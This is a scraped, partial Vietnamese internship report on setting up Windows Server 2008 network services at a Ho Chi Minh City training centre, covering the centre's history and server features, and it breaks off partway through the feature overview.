SlideShare a Scribd company logo
1 of 106
TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP TPHCM – KHOA CNTT
TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ
AN NINH MẠNG QUỐC TẾ ATHENA
----------
BÁO CÁO THỰC TẬP TỐT NGHIỆP
ĐỀ TÀI: NGHIÊN CỨU VÀ TRIỂN KHAI CÁC DỊCH VỤ MẠNG
TRÊN WINDOWS SERVER 2008
Giáo viên hướng dẫn : Võ Đỗ Thắng
Sinh viên thực tập : Nguyễn Trọng Sáng
MSSV : 11082461
Lớp : DHTH7C
Thời gian thực tập : từ 17/3/2015 đến 17/5/2015
Tp. HCM, tháng 6 năm 2015
SVTH: Nguyễn Trọng Sáng Page 1
LỜI CẢM ƠN
Để có những buổi thực tập bổ ích và hiệu quả tại trung tâm Athena, trước tiên
tôi xin bày tỏ tình cảm và lời cảm ơn chân thành tới trung tâm Athena đã tạo điều
kiện cho tôi được thực tập tại trung tâm. Đặt biệt gửi lời cảm ơn đến thầy Võ Đỗ
Thắng và các anh chị tại trung tâm đã tạo mọi điều kiện tốt nhất để tôi có thể tiếp
cận với thực tế, cung cấp thông tin, tài liệu để tôi hoàn thành tốt quá trình thực tập
và bài báo cáo này, đồng thời cũng đã hướng dẫn và truyền đạt nhiều kiến thức quý
báu, góp ý kiến giúp tôi định hướng cho công việc sau này.
Tôi xin chân thành cảm ơn đến quý thầy cô Khoa công nghệ thông tin
Trường Đại Học Công Nghiệp TPHCM đã cung cấp cho tôi cả về kiến thức chuyên
môn lẫn tinh thần học tập, đó là nền tảng giúp tôi có được kiến thức vững chắc để
tiếp thu kiến thức thực tế trong quá trình thực tập một cách nhanh chóng và là kiến
thức cơ sở cho công việc sau này.
Bên cạnh đó, tôi xin chân thành cảm ơn sự hướng dẫn tận tình của cô TS.
Nguyễn Thị Phương Giang đã giúp đỡ tôi hoàn thành báo cáo thực tập này.
Xin cảm ơn tất cả các bạn bè đã giúp đỡ về tinh thần cũng như kiến thức cho
tôi trong quá trình thực hiện hoàn thành báo cáo này.
Tôi xin kính chúc Quý thầy cô và các anh chị tại trung tâm dồi dào sức khỏe
và thành công trong công việc. Kính chúc trung tâm Athena kinh doanh ngày càng
đạt hiệu quả
TP Hồ Chí Minh ,Tháng 6 Năm 2015
Sinh viên thực hiện
Nguyễn Trọng Sáng
SVTH: Nguyễn Trọng Sáng Page 2
LỜI NÓI ĐẦU
Microsoft Windows Server 2008 là thế hệ kế tiếp của Windows Server, có
thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở hạ tầng và
cung cấp khả năng quản lý hiệu quả hơn, là sản phẩm đảm bảo độ an toàn, khả năng
tin cậy và môi trường máy chủ vững chắc hơn.
Windows Server 2008 cung cấp các giá trị mới cho các tổ chức bằng việc bảo
đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các dịch vụ
từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội bên trong
hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên gia tăng được thời
gian hổ trợ được các công việc của doanh nghiệp. Windows Server 2008 xây dựng
trên sự thành công và sức mạnh của hệ điều hành đã có trước đó là Windows Server
2003 và những cách tân trong bản server pack 1 và Windows Server 2008 R2.
Windows Server 2008 được thế kế để cung cấp cho các tổ chức có được nền
tảng sản xuất nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc đến
những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và những cải
thiện mạnh mẽ cho hệ điều hành cơ bản.
SVTH: Nguyễn Trọng Sáng Page 3
NHẬN XÉT
(của cán bộ hướng dẫn tại công ty thực tập)
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
……………………………………………………………………………………..
XÁC NHẬN CỦA CƠ QUAN
GIÁM ĐỐC
(ký tên và đóng dấu)
TPHCM, Ngày… Tháng … Năm 2015
CÁN BỘ HƯỚNG DẪN
(ký tên)
SVTH: Nguyễn Trọng Sáng Page 4
NHẬN XÉT
(của giáo viên hướng dẫn tại khoa)
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
………………………………………………………………………………………
TPHCM, Ngày… Tháng … Năm 2015
GIÁO VIÊN HƯỚNG DẪN
(ký tên)
SVTH: Nguyễn Trọng Sáng Page 5
MỤC LỤC
CHƯƠNG 1: GIỚI THIỆU VỀ TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ
AN NINH MẠNG QUỐC TẾ ATHENA...............................................................................8
1. Giới thiệu về công ty....................................................................................................8
2. Quá trình hình thành và phát triển.........................................................................9
3. Cơ cấu tổ chức ............................................................................................................11
4. Tình hình hoạt động trong năm .............................................................................12
5. Cơ sở hạ tầng ..............................................................................................................13
6. Khách hàng .................................................................................................................13
7. Đối tác...........................................................................................................................13
CHƯƠNG 2: NỘI DUNG THỰC TẬP ...............................................................................14
1. Kiến thức tìm hiểu.....................................................................................................14
2. Windows Server 2008 ...............................................................................................15
CHƯƠNG 3: TỔNG QUAN VỀ WINDOWS SERVER 2008 .......................................18
1. GIỚI THIỆU WINDOWS SERVER 2008 ............................................................18
2. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008........................................19
2.1. Công cụ quản trị Server Manager........................................................................19
2.2. Windows Server Core ...........................................................................................19
2.3. PowerShell..............................................................................................................20
2.4. Windows Deloyment Services.............................................................................20
2.5. Terminal Services..................................................................................................20
2.6. Network Access Protection..................................................................................21
2.7. Read-Only Domain Controllers...........................................................................21
2.8. Công nghệ Failover Clustering............................................................................22
SVTH: Nguyễn Trọng Sáng Page 6
2.9. Windows Firewall with Advance Security.........................................................22
3. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008......................22
3.1. Công nghệ ảo hóa Hyper-V..................................................................................22
3.2. Processor Compatibility Mode ............................................................................23
3.3. File Classification Infrastructure .........................................................................23
3.4. Quản lý trong ỗ đĩa và file....................................................................................23
3.5. Cải tiến giao thức và mã hóa................................................................................23
3.6. Một số tính năng khác...........................................................................................24
4. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008 ...............................................24
4.1. Web .........................................................................................................................24
4.2. Ảo hóa.....................................................................................................................25
4.3. Bảo mật...................................................................................................................25
4.4. Network Access Protection (NAP) .....................................................................25
4.5. Read-Only Domain Controller (RODC).............................................................25
4.6. BitLocker................................................................................................................26
4.7. Windows Firewall .................................................................................................26
5. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008.........................................26
5.1. Windows Server 2008...........................................................................................26
5.2. Windows Server 2008 Standard Edition ............................................................26
5.3. Windows Server 2008 Enterprise Edition..........................................................27
5.4. Windows Server 2008 Datacenter Edition .........................................................27
5.5. Windows Web Server 2008 .................................................................................27
6. CÀI ĐẶT WINDOWS SERVER 2008 ...................................................................28
6.1. Yêu cầu phần cứng ................................................................................................28
6.2. Các cách cài đặt .....................................................................................................28
7. NÂNG CẤP LÊN WINDOWS SERVER 2008.....................................................29
8. QUÁ TRÌNH CÀI ĐẶT WINDOWS SERVER 2008 .........................................30
CHƯƠNG 4: DOMAIN ..........................................................................................................35
SVTH: Nguyễn Trọng Sáng Page 7
1. CÀI ĐẶT DOMAIN ..................................................................................................35
2. JOIN DOMAIN..........................................................................................................45
CHƯƠNG 5: TRIỂN KHAI CÁC DỊCH VỤ MẠNG.....................................................48
1. DỊCH VỤ DNS ...........................................................................................................48
1.1. Giới thiệu về DNS................................................................................................48
1.2. Cài đặt DNS..........................................................................................................48
1.3. Cấu hình DNS.......................................................................................................49
2. DỊCH VỤ DHCP........................................................................................................55
2.1. Giới thiệu về dịch vụ DHCP...............................................................................55
2.2. Hoạt động của giao thức .....................................................................................55
2.3. Cài đặt DHCP trên windows server 2008.........................................................55
2.4. Cấu hình DHCP...................................................................................................59
3. DỊCH VỤ VPN ...........................................................................................................63
3.1. Khái niệm..............................................................................................................64
3.2. Các loại VPN........................................................................................................65
3.3. Bảo mật trong VPN .............................................................................................66
3.4. Sản phẩm công nghệ dành cho VPN .................................................................67
4. VPN SITE TO SITE .................................................................................................68
5. DỊCH VỤ MAIL SERVER MDaemon .................................................................84
CHƯƠNG 6: BẢO MẬT WINDOWS.................................................................................91
1. Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067 .........................91
2. Khai thác lỗ hổng trên Windows XP với mã lỗi MS12_004 .........................94
KẾT LUẬN ..............................................................................................................................102
SVTH: Nguyễn Trọng Sáng Page 8
CHƯƠNG 1: GIỚI THIỆU VỀ TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ
AN NINH MẠNG QUỐC TẾ ATHENA
1. Giới thiệu về công ty
Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế
ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt
Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính
thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư
Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Tên công ty viết bằng tiếng nước
ngoài: Athena Advice Training Network Security Company Limited.
ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động,
nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp
phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và
đang tập trung chủ yếu vào các họat động sau:
 Công tác huấn luyện, quảng bá kiến thức tin học, đặc biệt trong lĩnh
vực mạng máy tính, internet, bảo mật và thương mại điện tử....
 Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào
hoạt động sản xuất kinh doanh.
 Cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt
là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế
cho các tổ chức, doanh nghiệp có nhu cầu.
 Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và
phát triển cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng.
 Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong
trường hợp xảy ra sự cố máy tính.
 Trụ sở chính:
SVTH: Nguyễn Trọng Sáng Page 9
o Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.
o Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh.
o Website: www.athena. com.vn
o Điện thoại: ( 84-8 ) 3824 4041
o Hotline: 0943 23 00 99
 Cơ sở 2_Tại TP Hồ Chí Minh:
o Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA
o 92 Nguyễn Đình Chiểu, Phường Đa Kao,Quận 1, Tp Hồ Chí Minh.
o Website: www.Athena.Edu.Vn
o Điện thoại: ( 84-8 ) 2210 3801
o Hotline: 0943 20 00 88
2. Quá trình hình thành và phát triển.
Quá trình hình thành
Năm 2000, một nhóm các thành viên là những doanh nhân tài năng và thành công
trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo
nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao
và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông
tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công ngh ệ thông
tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có
nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ
thông tin cho đất nước và xã hội.
Các thành viên sáng lập trung tâm gồm:
Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính
Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom.
Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty
EIS, Phó Tổng công ty FPT.
Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu
trách nhiệm công nghệ thông tin của Ngân hàng.
Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an
SVTH: Nguyễn Trọng Sáng Page 10
ninh mạng Athena.
Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy
tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy
tính miền Nam.
Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, hay còn g ọi
là Trung tâm đào tạo Quản trị và An ninh mạng Quốc Tế Athena (tên thương hiệu
viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo
giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh
cấp ngày 04 tháng 11 năm 2008.
Quá trình phát triển.
Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình.
Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm
cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên c ủa các doanh
nghiệp về các chương trình qu ản lý dự án MS Project 2003, kỹ năng thương mại
điện tử, bảo mật web... và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng
kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa
đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công
nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.
Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra
thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng
đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại
học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời
gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công
nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ
giảng viên của trung tâm.
Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng
mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm
rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút
SVTH: Nguyễn Trọng Sáng Page 11
vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng
thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải
đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác.
Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng
góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ
phần của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm. Đây là một
bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và
một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đã giúp
ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời
kì khủng hoảng.
Từ năm 2009 - nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược.
Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo
hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm
đào tạo quản trị mạng hàng đầu Việt Nam. Cùng với sự liên kết của rất nhiều công
ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân
lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào
tiến trình tin học hóa nước nhà.
3. Cơ cấu tổ chức
SVTH: Nguyễn Trọng Sáng Page 12
Hình 1: Sơ đồ tổ chức công ty
4. Tình hình hoạt động trong năm
Cơ cấu sản phẩm.
Các khóa học dài hạn
– Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network -
security specialist- 18 tháng.
– Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork
security Technician- 12 tháng.
– Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager
Administrator.- 6 tháng.
Các khóa học ngắn hạn
Về quản trị mạng:
- Quản trị mạng MCSA 2003 – 2008
- Quản trị mạng Cisco – CCNA
- Quản trị mạng Microsoft nâng cao – MCSE
- Quản trị hệ thống mạng Linux 1 và Linux 2
- Quản trị mạng cơ bản và cài đặt máy tính – ACBN
Về an ninh mạng:
- System Hacking – xâm nhập và khai thác lỗ hỏng hệ điều hành
- Hacking và bảo mật máy tính Windows
- Bảo mật mạng Wi-Fi
- Hacker mũ trắng Athena
- Bảo mật mạng ACNS
Về Web và thương mại điện tử:
- SEO Google
- Thiết kế, quản trị website doanh nghiệp bằng Joomla
- Xây dụng và quản trị diễn đàn, trang rao vặt bằng VBB
- Lập trình và thiết kế web chuyên nghiệp bằng PHP và MySQL
SVTH: Nguyễn Trọng Sáng Page 13
- Internet Business
- Xây dựng web cấp tốc bằng WordPress
- Xây dựng web bán hàng trực tuyến
- Online Marketing
Các dịch vụ hỗ trợ:
– Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn
– Giới thiệu việc làm cho mọi học viên
– Thực tập có lương cho học viên khá giỏi
– Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không
giới hạn thời gian
– Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy
tính, mạng máy tính, bảo mật mạng
– Hỗ trợ thi Chứng chỉ Quốc tế.
5. Cơ sở hạ tầng
– Thiết bị đầy đủ và hiện đại.
– Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những
công nghệ mới nhất.
– Phòng máy rộng rãi, thoáng mát.
6. Khách hàng
– Mọi đối tượng chuyên hoặc không chuyên về CNTT.
– Khách hàng chủ yếu của ATHENAlà các bạn học sinh, sinh viên và các
cán bộ công nhân viên chức yêu thích lĩnh vực công nghệ thông tin.
7. Đối tác
Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp
nhân sự CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng
cho các đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài
chính.
SVTH: Nguyễn Trọng Sáng Page 14
CHƯƠNG 2: NỘI DUNG THỰC TẬP
 Nhiệm vụ được giao.
 Nghiên cứu các dịch vụ mạng trên Windows Server 2008
 Triển khai các dịch vụ mạng trên Windows Server 2008
1. Kiến thức tìm hiểu
Giải pháp mạng doanh nghiệp
Giới thiệu về mạng doanh nghiệp
Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô
và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều sự
chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý hoặc
sử dụng dịch vụ. Những doanh nghiệp lớn với hàng ngàn máy tính cũng có những
giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm.
Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ
thông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu khác
nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống được
kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả cũng như độ
tin cậy của hệ thống.
Các thành phần công nghệ trong mạng doanh nghiệp
Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp
công nghệ và thiết kế sao cho phù hợp nhất.
Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ
thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng.
Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu
hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của
thế giới.
SVTH: Nguyễn Trọng Sáng Page 15
2. Windows Server 2008
Giới thiệu về mô hình Client-Server
Điều đáng ngạc nhiên là nhiều công ty ngày nay vẫn không quan tâm đến
việc thực hiện một mạng lưới client/server. Thay vào đó họ chỉ tiếp tục thêm vào
các máy trạm để thực hiện mô hình mạng peer-to-peer. Mạng peer-to-peer không
cung cấp cho bạn nhiều cách bảo mật và chia sẽ tài nguyên. Vì vậy, không có gì
ngạc nhiên khi họ thường có vấn đề với việc truy cập vào máy trạm, bị mất dữ liệu
do virus, spyware hay phải trải nghiệm việc internet bị gián đoạn. Máy tính nối
mạng theo mô hình peer-to-peer là đủ khi bạn chỉ có một vài người dung trên mạng,
nhưng khi có nhiều hơn 5 hoặc 6 người sử dụng trên mạng của bạn, bạn thực sự
phải xem xét đầu tư một máy chủ mạng.Vậy lợi ích của mô hình Client-Server cụ
thể là gì?
- Tập tin và an ninh mạng: Vai trò quan trọng nhất của một máy chủ tập tin
là an ninh mạng mà nó cung cấp. Bằng cách tạo ra các tài khoản người dùng cá nhân
và nhóm, có thể cấp quyền cho nhóm và cá nhân khai thác dữ liệu được lưu trữ trên
mạng, ngăn chặn người sử dụng trái phép truy cập tài liệu mà họ không nên xem. Ví
dụ, trong Folder chung thì group ketoan và group nhansu có quyền truy cập ủa nhân
viên…
- Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiều máy chủ được trang
bị nguồn điện dự phòng. Với một nguồn cung cấp năng lượng thứ cấp chạy song
song, sự mất mát của một trong những nguồn cung cấp điện không ảnh hưởng đến
hoạt động hệ thống bình thường. Cũng vậy với hệ thống lưu trữ của máy chủ.
Không giống như một máy tính để bàn trung bình có sử dụng một ổ cứng duy nhất,
một máy chủ sẽ thường sử dụng nhiều ổ đĩa cứng làm việc trong một RAID cấu
hình để ngăn ngừa mất dữ liệu hoặc một sự gián đoạn trong quy trình làm việc.
Ngoài ra, nhiều máy chủ cũng được trang bị ổ đĩa cứng hot swappable và nguồn
cung cấp điện. Các thành phần này có thể thay thế nóng cho phép bạn thay thế phần
cứng bị lỗi mà không gián đoạn toàn bộ văn phòng. Ngoài ra, kể từ khi tất cả các dữ
SVTH: Nguyễn Trọng Sáng Page 16
liệu nhân viên đang được lưu trữ trên mạng, nếu máy trạm của người dùng không
giữa ngày làm việc, nhân viên có thể truy cập các tập tin tương tự từ máy trạm khác.
- Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Với một máy chủ mạng,
tất cả người dùng trên mạng có thể sử dụng các tài nguyên mạng khác nhau ngay từ
bàn làm việc, tăng hiệu quả. Một số trong những nguồn tài nguyên bao gồm:
 Tập trung lưu trữ dữ liệu ( RAID Array )
 Network Attached Storage (NAS) thiết bị
 Tháp đĩa CD / DVD
 Máy in và máy chủ Fax
- Quản lý virus : Một trong những mối đe dọa lớn nhất đối với mạng của
bạn là khả năng lây nhiễm từ virus, phần mềm gián điệp và thư rác. Vì vậy, có tốt,
cập nhật, phần mềm chống virus được cài đặt trên hệ thống của bạn là một điều cần
thiết.
Trong một văn phòng của 10 người hoặc ít hơn, hệ thống có thể được duy trì
riêng. Bất cứ điều gì nhiều hơn thế, tuy nhiên, có thể trở thành một gánh nặng thực
sự.
Trong những trường hợp này, một gói phần mềm chống virus kết hợp máy
trạm và bảo vệ chống virus máy chủ vào một giải pháp duy nhất có ý nghĩa hơn.
- Sao lưu tập trung: Tất cả các doanh nghiệp nên sao lưu dữ liệu của họ một
cách thường xuyên. Bởi có tất cả các công ty của bạn và dữ liệu nhân viên được lưu
trữ tại một địa điểm, bản sao lưu có thể được thực hiện đáng tin cậy và nhanh
chóng. Vì vậy, bạn sẽ không bao giờ cần phải lo lắng về những dữ liệu được lưu trữ
trên những gì máy trạm như bạn làm trong một mạng peer-to-peer. Ngày nay, hầu
hết các loại phương tiện truyền thông có thể được sử dụng cho mục đích sao lưu.
Ngoài các ổ đĩa truyền thống băng, đĩa CD, DVD, lưu trữ và thậm chí loại bỏ
Network Attached Storage (NAS) thiết bị này là chấp nhận được. Sự lựa chọn của
bạn của phương tiện truyền thông sẽ phụ thuộc vào yêu cầu cụ thể của bạn sao lưu.
Tùy thuộc vào ngân sách của bạn và nhu cầu lưu giữ dữ liệu của bạn, bất kỳ trong số
SVTH: Nguyễn Trọng Sáng Page 17
này sẽ là một giải pháp chấp nhận được. Hãy chắc chắn rằng bạn có ít nhất một bản
sao lưu hàng tuần theo lịch trình, mặc dù hàng ngày sẽ tốt hơn.
SVTH: Nguyễn Trọng Sáng Page 18
CHƯƠNG 3: TỔNG QUAN VỀ WINDOWS SERVER 2008
1. GIỚI THIỆU WINDOWS SERVER 2008
Microsoft Windows Server 2008 là thế hệ kế tiếp của hệ điều hành Windows
Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở
hạ tầng của họ và cung cấp khả năng quản lý và hiệu lực chưa từng có, là sản phẩm
hơn hẳn trong việc đảm bảo độ an toàn, khả năng tin cậy và môi trường máy chủ
vững chắc hơn các phiên bản trước đây.
Windows Server 2008 cung cấp những giá trị mới cho các tổ chức bằng việc
bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các
dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội bên
trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên tăng được
thời gian hỗ trợ cho các doanh nghiệp.
Windows Server 2008 được thiết kế để cung cấp cho các tổ chức có được nền
tảng sản xuất tốt nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc đến
những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và những cải
thiện mạnh mẽ cho hệ điều hành cơ bản.
Cải thiện hệ điều hành cho máy chủ Windows.Thêm vào tính năng mới,
Windows Server 2008 cung cấp nhiều cải thiệm tốt hơn cho hệ điều hành cơ bản so
với hệ điều hành Windows Server 2003.
Những cải thiện có thể thấy được gồm có các vấn đề về mạng, các tính năng
bảo mật nâng cao, truy cập ứng dụng từ xa, quản lý role máy chủ tập trung, các công
cụ kiểm tra độ tin cậy và hiệu suất, nhóm chuyển đổi dự phòng, sự triển khai và hệ
thống file.
SVTH: Nguyễn Trọng Sáng Page 19
2. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008
2.1. Công cụ quản trị Server Manager
Server Manager là một giao diện điều khiển được thiết kế để tổ chức và quản
lý một server chạy hệ điều hành Windows Server 2008. Người quản trị có thể sử
dụng Server Manager với những nhiều mục đích khác nhau.
- Quản lý đồng nhất trên một server
- Hiển thị trạng thái hiện tại của server
- Nhận ra các vấn đề gặp phải đối với các role đã đƣợc cài đặt một cách dễ
dàng hơn
- Quản lý các role trên server, bao gồm việc thêm và xóa role
- Thêm và xóa bỏ các tính năng
- Chẩn đoán các dấu hiệu bất thường
- Cấu hình server: có 4 công cụ (Task Scheduler, Windows Firewall,
Services và WMI Control).
- Cấu hình sao lưu và lưu trữ: các công cụ giúp bạn sao lưu và quản lý ổ đĩa
là Windows Server Backup và Disk Management đều nằm trên Server Manager.
2.2. Windows Server Core
- Server Core là một tính năng mới trong Windows Server 2008. Nó cho
phép có thể cài đặt với mục đích hỗ trợ đặc biệt và cụ thể đối với một số role.
- Tất cả các tương tác với Server Core được thông qua các dòng lệnh.
Server Core mang lại những lợi ích sau:
+Giảm thiểu được phần mềm, vì thế việc sử dụng dung lượng ổ đĩa cũng
được giảm. Chỉ tốn khoảng 1GB khi cài đặt.
+Bởi vì giảm thiểu được phần mềm nên việc cập nhật cũng không nhiều.
+Giảm thiểu tối đa những hành vi xâm nhập vào hệ thống thông qua các port
được mở mặc định.
+Dễ dàng quản lý.
SVTH: Nguyễn Trọng Sáng Page 20
- Server Core không bao gồm tất cả các tính năng có sẵn trong những phiên
bản cài đặt Server khác. Ví dụ như .NET Framework hoặc Internet Explorer.
2.3. PowerShell
PowerShell là một tập hợp lệnh. Nó kết nối những dòng lệnh shell với một
ngôn ngữ script và thêm vào đó hơn 130 công cụ dòng lệnh(được gọi là
cmdlets).Hiện tại, có thể sử dụng PowerShell trong:
Exchange Server
+SQL Server
+Terminal Services
+Active Directory Domain Services.
+Quản trị các dịch vụ, xử lý và registry.
Mặc định, Windows PowerShell chưa được cài đặt. Tuy nhiên bạn có thể cài
đặt nó một cách dễ dàng bằng cách sử dụng công cụ quản trị Server Manager và
chọn Features > Add Features
2.4. Windows Deloyment Services.
Windows Deployment Services được tích hợp trong Windows Server 2008
cho phép bạn cài đặt hệ điều hành từ xa cho các máy client mà không cần phải cài
đặt trực tiếp. WDS cho phép bạn cài đặt từ xa thông qua Image lấy từ DVD cài đặt.
Ngoài ra, WDS còn hỗ trợ tạo Image từ 1 máy tính đã cài đặt sẵn Windows và đầy
đủ các ứng dụng khác.
Windows Deployment Serviece sử dụng định dạng Windows Image (WIM).
Một cải tiến đặc biệt với WIM so với RIS là WIM có thể làm việc tốt với nhiều nền
tảng phần cứng khác nhau.
2.5. Terminal Services.
Terminal Services là một thành phần chính trên Windows Server 2009 cho
phép user có thể truy cập vào server để sử dụng những phần mềm.
Terminal Services giúp người quản trị triển khai và bảo trì hệ thống phần
mềm trong doanh nghiệp một cách hiệu quả. Người quản trị có thể cài đặt các
SVTH: Nguyễn Trọng Sáng Page 21
